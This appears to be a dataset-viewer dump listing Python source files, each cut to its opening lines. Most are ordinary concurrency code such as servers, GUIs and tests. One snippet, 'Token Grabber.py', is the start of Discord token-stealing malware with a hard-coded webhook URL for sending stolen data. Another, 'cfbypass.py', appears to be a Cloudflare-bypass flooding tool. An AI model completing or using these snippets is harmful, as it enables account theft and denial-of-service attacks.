source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
Demo_Notification_Window_Multiprocessing.py | import PySimpleGUI as sg
import textwrap
from multiprocessing import Process
'''
Notification Window Demo Program
Shamelessly stolen from PySimpleGUI user ncotrb
Displays a small informational window with an Icon and a message in the lower right corner of the display
Option to fade in/out or immediate... |
thread.py | import threading
import time
def worker():
print('Worker started.')
time.sleep(5)
print('Worker finished.')
def main():
print('Main started.')
i = 0
while True:
print(i)
if i % 5 == 0:
print('Starting worker thread')
t = threading.Thread(target=worker... |
server.py | import threading
from socket import *
from ChatApp.models import Message, User
from ChatApp.msg import Msg, MsgType
from ChatApp.settings import DEBUG, TIMEOUT
from ChatApp.utils import get_timestamp
def send(msg: Msg, receiver):
global send_all_need_update
sock = socket(AF_INET, SOCK_DGRAM)
sock.settime... |
sift.py | # 筛选掉不合适的照片
import align.detect_face
from scipy import misc
import facenet
import os
import tensorflow as tf
import shutil
import os
import face_recognition
from PIL import Image
from PIL import ImageFile
from PIL import UnidentifiedImageError
import threading
import time
import cv2
import numpy as np
ImageFile.LOAD_... |
server.py | import construct
import socket
import select
import threading
import client
import requests
import job
from revether_common.utils.select_event import SelectableEvent
from revether_common.net.packets import PacketType, wrap_event, create_request_packet
from exceptions import RevetherServerErrorWithCode
class Revethe... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
client.py | ''' Datasource for Mapnik that consumes vector tiles in GeoJSON or MVT format.
VecTiles provides Mapnik with a Datasource that can read remote tiles of vector
data in spherical mercator projection, providing for rendering of data without
the use of a local PostGIS database.
Sample usage in Mapnik configuration XML:
... |
main.py | import PySimpleGUI as sg
import os.path
import cv2
import numpy as np
from matplotlib import pyplot as plt
import threading
import math
# First the window layout in 2 columns
specgraphout=[[]]
adlines=[[]]
elementsin=[]
speed=0
type=""
Mass=""
time=0
def spectrum(filename): #Get spectrum drawing
global specgraphout... |
proxier.py | import atexit
from concurrent import futures
from dataclasses import dataclass
import grpc
import logging
from itertools import chain
import json
import socket
import sys
from threading import Event, Lock, Thread, RLock
import time
import traceback
from typing import Callable, Dict, List, Optional, Tuple
import ray
fr... |
main_kernel.py | """ A neural chatbot using sequence to sequence model with
attentional decoder.
This is based on Google Translate Tensorflow model
https://github.com/tensorflow/models/blob/master/tutorials/rnn/translate/
Sequence to sequence model by Cho et al.(2014)
Created by Chip Huyen as the starter code for assignment 3,
class... |
main.py | from threading import Thread
import tweepy
from src import log
from src.alerts import get_alerts_by_type, TYPE_TWITTER, TYPE_INSTA
from src.instagram import populate_feeds, setup_periodic_scrape
from src.notifications import setup_periodic_notifications
from src.twitter import auth, get_user_ids, MyStreamListener
d... |
test_runner.py | #
# All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
# its licensors.
#
# For complete copyright and license terms please see the LICENSE at the root of this
# distribution (the 'License'). All use of this software is governed by the License,
# or, if provided, by the license below or th... |
node.py | import json
import logging
import multiprocessing as mp
from bottle import Bottle
from crankycoin.models.block import Block, BlockHeader
from crankycoin.models.transaction import Transaction
from crankycoin.models.enums import MessageType, TransactionType
from crankycoin.services.queue import Queue
from crankycoin.rou... |
example.py | #!/usr/bin/env python3
"""
Example of a simple logging program which uses the radalert API.
This program connects to the first Radiation Alert Monitor200 device
that it can find over BLE. Once connected, it will begin gathering
events and performing statistics. Logs data will be printed out
periodically as tab-separa... |
transform.py | import abc
import logging
import queue
import sys
import threading
import traceback
from typing import Optional, Union
import av
import numpy as np
from aiortc import MediaStreamTrack
logger = logging.getLogger(__name__)
logger.addHandler(logging.NullHandler())
class VideoTransformerBase(abc.ABC):
@abc.abstract... |
test_socket.py | import unittest
from test import support
import errno
import io
import itertools
import socket
import select
import tempfile
import time
import traceback
import queue
import sys
import os
import array
import contextlib
from weakref import proxy
import signal
import math
import pickle
import struct
import random
import... |
bridge.py | #!/usr/bin/env python
#
# Copyright (c) 2018-2020 Intel Corporation
#
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
#
"""
Rosbridge class:
Class that handle communication between CARLA and ROS
"""
try:
import queue
except ImportError:
impor... |
main.py | import schedule
import time
from MainMenuURLs import MainMenuURLs
import threading
mainMenuURLs = MainMenuURLs(5)
#mainMenuURLs.processPayload()
def run_threaded(job_func):
job_thread = threading.Thread(target=job_func)
job_thread.start()
schedule.every(10).seconds.do(run_threaded, mainMenuURLs.execute)
whi... |
main.py | # -*- coding:utf-8 -*-
from PythonMiddleware.notify import Notify
from PythonMiddleware.graphene import Graphene
from PythonMiddlewarebase.operationids import operations
import datetime
from time import sleep
import pymongo
from collections import deque
from threading import Thread, Lock
from prometheus_client import ... |
flowmeter.py | import logging
import os
import sys
import time
import argparse
import configparser
import datetime
from multiprocessing import Process
from pprint import pprint
#import threading
from binance.client import Client as BinanceClient
from binance.websockets import BinanceSocketManager
import dateparser
from pymongo imp... |
start.py | import requests
import os
import time
from requests.auth import HTTPBasicAuth
from requests_oauthlib import OAuth1
from threading import Thread
from requests.utils import quote
from subprocess import *
from credentials import *
auth = OAuth1(consumer_key, consumer_key_secret, access_token, access_token_secret)
def fi... |
server.py | """
This module contains the HiSockServer, used to power the server
of HiSock, but also contains a `start_server` function, to pass in
things automatically. It is strongly advised to use `start_server`
over `HiSockServer`
====================================
Copyright SSS_Says_Snek 2021-present
=======================... |
top.py | #!/usr/bin/env python
#
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
import logging
import time
from queue import PriorityQueue
from threading import Thread
from typing import Any, Optional
from onefuzztypes.events import EventMessage
from .cache import JobFilter, TopCache
from .signalr i... |
clearsky.py | import warnings
import threading
import numpy as np
import pandas as pd
import numba as nb
import pvlib
from pvlib import tools
from pvlib.solarposition import _spa_python_import
from pvlib.location import Location
spa = _spa_python_import('numba')
def haurwitz(apparent_zenith):
"""Caluclate global horizontal i... |
vslib.py | import time
from threading import Thread, Lock
from typing import Union
import cv2
import medialib
from loglib.loglib import loglib
class vslib:
"""
The library for camera video stream.
reference: https://gist.github.com/allskyee/7749b9318e914ca45eb0a1000a81bf56
"""
slogger = loglib('__name__'... |
servidor.py | import socket
import threading
from yahooquery import Ticker
class Servidor():
"""
Classe Servidor - Calculadora remota - API Socket
"""
def __init__(self, host, port):
"""
Construtor da classe servidor
"""
self._host = host
self._port = port
... |
whereBlindJSONStringifyInjection.py | import copy;
import difflib;
from util.output import verbose;
from util.output import success;
from util.output import failure;
from util.output import question;
from util.output import info;
from util.output import bold;
import threading;
from itertools import combinations;
class WhereBlindJSONStringifyInjection:
... |
CMRIChecker.py | # Software configuration
from library import config as sw_cfg
# Connection widget
from library.connection.ConnectionUI import ConnectionUI
# System-specific parameters and functions
from sys import exit, argv
# Threading interface
from queue import Queue
from threading import Thread
# PyQt5 modules
from PyQt5.QtGui im... |
masterslave.py | # Software License Agreement (BSD License)
#
# Copyright (c) 2008, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain ... |
Synchronization With Locks.py | """
In the flight reservation program, we used sleep function to prevent the threads from running at once.
However, the more efficient method to do this would be by using the build in class "Lock".
"""
from threading import *
from time import sleep
class flightReservation:
l = Lock()
def __init__(self,ticket_l... |
client.py | # Copyright 2020 Tabacaru Eric
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... |
run.py | import os
from tempfile import mkdtemp
from multiprocessing import Process
from robot import run
from allure_robotframework import allure_robotframework
from allure_commons_test.report import AllureReport
def make_temp_dir():
return mkdtemp(dir=os.environ.get('TEST_TMP', None))
def make_dir(path, name):
dir... |
_serial.py | # Copyright (c) 2019 UAVCAN Consortium
# This software is distributed under the terms of the MIT License.
# Author: Pavel Kirienko <pavel@uavcan.org>
import copy
import typing
import asyncio
import logging
import threading
import dataclasses
import concurrent.futures
import serial
import pyuavcan.transport
from pyuavc... |
wsdump.py | #!/home/tufao/repos/gateway_pi/virtual/bin/python
import argparse
import code
import sys
import threading
import time
import ssl
import gzip
import zlib
import six
from six.moves.urllib.parse import urlparse
import websocket
try:
import readline
except ImportError:
pass
def get_encoding():
encoding = ... |
extrapgui.py | # This file is part of the Extra-P software (http://www.scalasca.org/software/extra-p)
#
# Copyright (c) 2020-2021, Technical University of Darmstadt, Germany
#
# This software may be modified and distributed under the terms of a BSD-style license.
# See the LICENSE file in the base directory for details.
import argpa... |
suffix_tree_from_array.py | # python3
import sys
import threading
sys.setrecursionlimit(10 ** 7) # max depth of recursion
threading.stack_size(2 ** 27) # new thread will get stack of such size
class SuffixTree:
"""
A class to represent a suffix tree.
...
Classes
-------
Node():
A class to represent a node ... |
Worker.py | import os
import errno
import time
import uuid
import threading
import sys
import shutil
import hashlib
from math import ceil
from .Client import Client
class Worker(threading.Thread):
def __init__(self, queue, p=4):
super().__init__(name="Worker")
self.id = uuid.uuid4()
self.queue = queue
self.p = ... |
ana.py | # check the staging service
# if check the data
# if the data become meaningless
# write info to meta server
from mpi4py import MPI
import numpy as np
import dataspaces.dataspaceClient as dataspaces
import ctypes
import os
import time
import math
import timeit
import sys
from threading import Thread
import os
sy... |
main.py | import multiprocessing
import socket
from http_parser.parser import HttpParser
import sys
import time
import signal
import os
psize = 1025
started = time.time()
def scrap_result(result, url, key, is_ssl = False):
import logging
import urllib
import http.client
import json
logging.basicConfig(level=logging.... |
wb.py | # -*- coding: UTF-8 -*-
import logging
import sqlite3
import threading
import time
class Scanner:
def __init__(self, database_name, file_name):
logging.basicConfig(
level=logging.DEBUG,
format="%(asctime)s %(levelname)s %(message)s",
datefmt='%Y-%m-%d %H:%M:%S',
... |
main.py | #!/usr/bin/env python3
import time
import calendar
from threading import Thread
from hadoop import *
from twitter import *
from datetime import datetime
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg
from matplotlib.figure import Figure
from tkinter import *
# ********** PAY ... |
__init__.py | # Copyright 2017 Mycroft AI Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writin... |
test_creator.py | from __future__ import absolute_import, unicode_literals
import difflib
import gc
import json
import logging
import os
import shutil
import stat
import subprocess
import sys
import zipfile
from collections import OrderedDict
from itertools import product
from stat import S_IREAD, S_IRGRP, S_IROTH
from textwrap import ... |
multiprocessing_train.py | #!/usr/bin/env python3 -u
# Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the LICENSE file in
# the root directory of this source tree. An additional grant of patent rights
# can be found in the PATENTS file in the same directory.
import o... |
LiveEncodingTask.py |
import os
import requests
import subprocess
import threading
import time
from app.constants import CONFIG, LIBRARY_PATH, QUALITY
from app.models import Channels
from app.models import LiveStream
from app.models import Programs
from app.utils import Logging
from app.utils import RunAwait
from app.utils.EDCB import EDC... |
cfbypass.py | import cfscrape
import os
import random
import time
import requests
import threading
from colorama import Fore
#Sometimes ascii cannot encode. can fix by either removing or adding new characters!
print(Fore.YELLOW + """
____ _____ ______ ______ _ ____ ____
/ ___| ___| | __ ) \ / / _ \ / \ / ___/ ___|
|... |
Token Grabber.py | import os, re, json, psutil, requests, threading
from urllib.request import Request, urlopen
from getmac import get_mac_address as gma
from json import loads, dumps
from base64 import b64decode
from re import findall
# Input your webhook here
userwh = "https://discord.com/api/webhooks/947985957582413835/sztUjF7V1L-wNo... |
update_stream.py | #!/usr/bin/python
import warnings
# Dropping a table inexplicably produces a warning despite
# the "IF EXISTS" clause. Squelch these warnings.
warnings.simplefilter("ignore")
import json
import os
import sys
import time
import traceback
import threading
import MySQLdb
import tablet
import utils
from vtdb import upda... |
process.py | #!/usr/bin/python3
from os.path import isfile, isdir
from os import mkdir, makedirs, listdir, remove
import errno
import time
from zkstate import ZKState
import json
import threading
import subprocess
import multiprocessing
import requests
from db import DataBase
from abr_hls_dash import GetABRCommand
import shutil
a... |
test_mangle.py | import os
import multiprocessing
import re
import signal
from functools import partial
from unittest.mock import patch
from pkgdev.mangle import Mangler
from pkgdev.scripts.pkgdev_commit import Change
import pytest
from snakeoil.cli.exceptions import UserException
def fake_change(s):
return Change('/repo', 'A', ... |
plotting.py | """
pyvista plotting module
"""
import collections
import logging
import os
import time
from threading import Thread
import imageio
import numpy as np
import scooby
import vtk
from vtk.util import numpy_support as VN
import warnings
import pyvista
from pyvista.utilities import (convert_array, convert_string_array,
... |
test_utils.py | # Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompa... |
a3c.py | """
Asynchronous Advantage Actor Critic (A3C) with Continuous Action Space.
Actor Critic History
----------------------
A3C > DDPG (for continuous action space) > AC
Advantage
----------
Train faster and more stable than AC.
Disadvantage
-------------
Have bias.
Reference
----------
Original Paper:... |
views.py | """
The view class(es) for client -> compensator communication
Copyright 2021 Reza NasiriGerdeh. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
ht... |
server.py | from json.decoder import JSONDecodeError
from peerbase import Node
import json
import argparse
from cryptography.fernet import Fernet, InvalidToken
from socket import *
import os
import shutil
import sys
import logging
import collections.abc, collections
import random, hashlib
import base64
import rsa
import time
impor... |
command_sender.py | import socket
from qt_core import *
import re
import json
import threading
import time
class CommandSender(QThread):
printToCodeEditor = Signal(str)
printToReminderBox=Signal(str)
def __init__(self, parent=None):
super().__init__(parent)
self.status = 1
self.socket = socket.socke... |
transfer.py | #!/usr/bin/env python
"""Upload and download support for apitools."""
from __future__ import print_function
import email.generator as email_generator
import email.mime.multipart as mime_multipart
import email.mime.nonmultipart as mime_nonmultipart
import io
import json
import mimetypes
import os
import threading
impo... |
_thread_cleanup_test.py | # Copyright 2016, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the f... |
wsgi_server.py | import socket
import sys
import os
import traceback
from threading import Thread
from io import BytesIO
from datetime import datetime
class WSGIServer:
"""Start a socket server"""
application = None
_threads = []
def __init__(self, host, port):
self.host = host
self.port = port
... |
moodle_spider.py | #!/usr/local/bin/python3
from os import environ
import base64
from scrapy.spiders.init import InitSpider
from scrapy.http import Request, FormRequest
import scrapy.crawler as crawler
from twisted.internet import reactor
from multiprocessing import Process, Queue
from scrapy_splash import SplashRequest
from ..items imp... |
app.py | """
A REST API for Salt
===================
.. py:currentmodule:: salt.netapi.rest_cherrypy.app
.. note::
This module is Experimental on Windows platforms and supports limited
configurations:
- doesn't support PAM authentication (i.e. external_auth: auto)
- doesn't support SSL (i.e. disable_ssl: Tru... |
test_capi.py | # Run the _testcapi module tests (tests for the Python/C API): by defn,
# these are all functions _testcapi exports whose name begins with 'test_'.
from collections import OrderedDict
import importlib.machinery
import importlib.util
import os
import pickle
import random
import re
import subprocess
import sys
import t... |
test_capi.py | # Run the _testcapi module tests (tests for the Python/C API): by defn,
# these are all functions _testcapi exports whose name begins with 'test_'.
from collections import OrderedDict
import os
import pickle
import random
import re
import subprocess
import sys
import textwrap
import threading
import time
import unitt... |
simple_condition_test.py | # *****************************************************************
# Copyright 2015 MIT Lincoln Laboratory
# Project: SPAR
# Authors: OMD
# Description: Unit tests for SimpleCondition
#
# Modifications:
# Date Name Modification
# ---- ---- -... |
utils.py | from __future__ import print_function
from black import out
import torch
from torch.nn import functional as F
import numpy as np
import cv2, os, sys
import os.path as osp
from time import time
#from scipy.spatial.transform import Rotation as R
from threading import Thread
import re
#----------------------------------... |
power_monitoring.py | import random
import threading
import time
from statistics import mean
from cereal import log
from common.params import Params, put_nonblocking
from common.realtime import sec_since_boot
from selfdrive.hardware import HARDWARE
from selfdrive.swaglog import cloudlog
PANDA_OUTPUT_VOLTAGE = 5.28
CAR_VOLTAGE_LOW_PASS_K =... |
barber.py | import threading
import time
CHAIRS = 5
waiting = 0
mutex = threading.Semaphore()
client_n = threading.Semaphore()
barber_n = threading.Semaphore()
def customer_queue():
global waiting
while(1):
print("Novo cliente chegando. {}".format(waiting))
t=threading.Thread(target=customer)
t.start()
time... |
SmallestMultiple.py | # 2520 is the smallest number that can be divided by each of the
# numbers from 1 to 10 without any remainder.
# What is the smallest positive number that is evenly divisible
# by all of the numbers from 1 to n?
from gmpy2 import mpz
import time
import math
import multiprocessing
def naiti_prostie_menshe(n):
lim = n... |
CoverMServer.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import datetime
import json
import os
import random as _random
import sys
import traceback
from getopt import getopt, GetoptError
from multiprocessing import Process
from os import environ
from wsgiref.simple_server import make_server
import requests as _requests
from json... |
main.py | import os
import sys
from pathlib import Path
from kivymd.app import MDApp
from kivy.uix.screenmanager import ScreenManager
from kivy.core.window import Window
from kivy.clock import Clock
from kivy.lang import Builder
from kivymd.uix.button import MDRectangleFlatButton
from kivymd.uix.dialog import MDDialog
from kivy... |
mail_handling.py | from app import mail
from threading import Thread
from flask import render_template
from flask_mail import Message
# 异步发送
def async_start(app, msg):
with app.app_context():
mail.send(msg)
# **kwargs 指传进来的参数, 可以传多个参数进来。eg: username = 'xxx', link = 'xxx.com'
def send(to, subject, template, **args):
msg... |
test_util_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
runner.py | #!/usr/bin/env python3
# Copyright 2010 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
"""This is the Emscripten test runner. To run ... |
host.py | # Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
# Copyright (c) 2010 Citrix Systems, Inc.
# Copyright (c) 2011 Piston Cloud Computing, Inc
# Copyright (c) 2012 University Of Minho
# (c) Copyright 2013 Hewlett-Pa... |
create_threads.py | import threading
# Create threads for each SSH connection
def create_threads(list, function):
threads = []
for ip in list:
th = threading.Thread(target = function, args = (ip,))
th.start()
threads.append(th)
for th in threads:
th.join() |
__init__.py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
.. module:: __init__
:platform: Unix
:synopsis: the top-level module of Embedded-A.V.A. that contains the entry point and handles built-in commands.
.. moduleauthor:: Cem Baybars GÜÇLÜ <cem.baybars@gmail.com>
"""
import argparse # Parser for command-line option... |
edge.py | import json
import queue
import requests
import threading
import time
from queue import Queue
from threading import Thread
from util import Util
class Edge:
def __init__(self):
# queues to process the sensor data
#used 2 queues as we have to tell the count of buffered data at any point of time
... |
app.py | import os
from subprocess import run
from tempfile import mkdtemp
from threading import Thread
from uuid import uuid4
import boto3
import requests
# Never put credentials in your code!
from dotenv import load_dotenv
from flask import Flask
from flask_restful import Resource, Api, reqparse
load_dotenv()
# Obtain B2 S... |
pixels.py | """
LED light pattern like Google Home
"""
import apa102
import time
import threading
try:
import queue as Queue
except ImportError:
import Queue as Queue
class Pixels:
PIXELS_N = 3
def __init__(self):
self.basis = [0] * 3 * self.PIXELS_N
self.basis[0] = 2
... |
test_pytest_timeout.py | import os.path
import signal
import sys
import time
import pexpect
import pytest
pytest_plugins = "pytester"
have_sigalrm = pytest.mark.skipif(
not hasattr(signal, "SIGALRM"), reason="OS does not have SIGALRM"
)
have_spawn = pytest.mark.skipif(
not hasattr(pexpect, "spawn"), reason="pexpect does not have spa... |
test_fuse.py | import os
import signal
import time
from multiprocessing import Process
import pytest
try:
pytest.importorskip("fuse") # noqa: E402
except OSError:
# can succeed in importing fuse, but fail to load so
pytest.importorskip("nonexistent") # noqa: E402
from fsspec.fuse import run
from fsspec.implementation... |
test_zip.py | import io
import multiprocessing
import os
import pickle
import shutil
import subprocess
import sys
import tempfile
import unittest
from datetime import datetime
from zipfile import ZipFile
import pytest
from parameterized import parameterized
from pfio.testing import make_random_str, make_zip
from pfio.v2 import Zip... |
TCPClient.py | import socket
import threading
import sys
#Wait for incoming data from server
#.decode is used to turn the message in bytes to a string
def receive(socket, signal):
while signal:
try:
data = socket.recv(32)
print(str(data.decode("utf-8")))
except:
print("You have... |
main.pyw | from PyQt5.QtWidgets import QMainWindow, QApplication
from PyQt5 import QtWidgets, QtGui, QtCore
from PyQt5 import uic
import os, sys
from threading import Thread
from queue import Queue, Empty
from random import randint
from torrequest_fix import TorRequest
import json
import re
from tkinter import messagebo... |
test_result_server_fake.py | # Copyright 2014 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
run_car_client.py | # coding: utf-8
# ロボットカー制御ネットワーククライアント
import socket, select
import time
import logging
import threading
import numpy as np
import cv2
from fabolib.car import Car
from lib.spi import SPI
from lib.camera import Camera
# ログ設定
logging.basicConfig(level=logging.DEBUG,
format='[%(levelname)s] time:%(cr... |
BQxiaoshuo.py | import re
import time
import threading
import requests
from bs4 import BeautifulSoup
l = [] # url-list
count = 0 # 线程总数
t = [] # 线程
nr = [] # 内容
ls = [] # 临时
tit = "" # 标题
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0'}
# 获取章节链接
def get_urls(url):
... |
test_failure_2.py | import os
import signal
import sys
import threading
import time
import numpy as np
import pytest
import ray
from ray.experimental.internal_kv import _internal_kv_get
from ray.ray_constants import DEBUG_AUTOSCALING_ERROR
import ray._private.utils
import ray.ray_constants as ray_constants
from ray.cluster_utils import ... |
test_concurrent_futures.py | import test.support
# Skip tests if _multiprocessing wasn't built.
test.support.import_module('_multiprocessing')
# Skip tests if sem_open implementation is broken.
test.support.import_module('multiprocessing.synchronize')
# import threading after _multiprocessing to raise a more revelant error
# message: "No module n... |
test_closing.py | from fixtures import * # noqa: F401,F403
from flaky import flaky
from pyln.client import RpcError
from shutil import copyfile
from utils import (
only_one, sync_blockheight, wait_for, DEVELOPER, TIMEOUT,
account_balance, first_channel_id, basic_fee
)
import os
import queue
import pytest
import re
import threa... |
tcp.py | import sys
from socket import *
from multiprocessing import Process
def tcp_listen_socket(port, backlog):
listen_socket = socket(AF_INET, SOCK_STREAM)
listen_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listen_socket.bind(('', port))
listen_socket.listen(backlog)
return listen_socket
def tcp_server_loop(port, ... |
account.py | # Copyright European Organization for Nuclear Research (CERN)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# You may not use this file except in compliance with the License.
# You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
# Authors:
# - Martin Barisits, <mar... |
active_monitoring.py | import os
import time
import sys
import json
import subprocess
from functools import reduce
from copy import deepcopy
from glob import glob
from datetime import datetime
from collections import deque
import difflib as dl
import numpy as np
import matplotlib.pyplot as plt
import yaml
from generate_rego_policy import gen... |
TestAll.py | # coding=utf-8
import base64
import threading
import unittest
from collections import OrderedDict
import requests
import TickerConfig
from agency.agency_tools import proxy
from config.emailConf import sendEmail
from config.serverchanConf import sendServerChan
from config.sre24Conf import sendSre24Push
from inter.Lift... |
datasets.py | import glob
import math
import os
import random
import shutil
import time
from pathlib import Path
from threading import Thread
import cv2
import numpy as np
import torch
from PIL import Image, ExifTags
from torch.utils.data import Dataset
from tqdm import tqdm
from detector.yolov4v5.utils.utils import xyxy2xywh, xyw... |
impl_rabbit.py | # Copyright 2011 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
gym_environment.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from multiprocessing import Process, Pipe
import numpy as np
import cv2
import gym
from environment import environment
COMMAND_RESET = 0
COMMAND_ACTION = 1
COMMAND_TERMINATE = 2... |
levelvariance.py | import ctypes
import numpy as np
from numpy import ndarray
from colorama import Fore
from multiprocessing import Array, Process
from numba import jit, prange
from progressbar import AdaptiveETA, AnimatedMarker, Percentage, ProgressBar, Timer
from typing import Any, Tuple
def level_number_variance(
unfolded: ndar... |
run_comb_perm_search.py | #!/usr/bin/env python
import threading
import Queue
import itertools
import random, time
from lib.progressbar import ProgressBar
from lib.constants import *
from lib.logger import *
from module.check_bucket import *
from module.generate_strings import *
def createStringGenerator(string_options, num_chars):
for it... |
gamefield.py | from tools import field_info as field
from Tkinter import *
import threading
import time
master = Tk()
# create functions to draw field + decisions made / q values ranging from green to red
# draw field + update field
square_size = 200 # relative to field
field_x = field.x_field_length + 200 # add a few pixels, fo... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.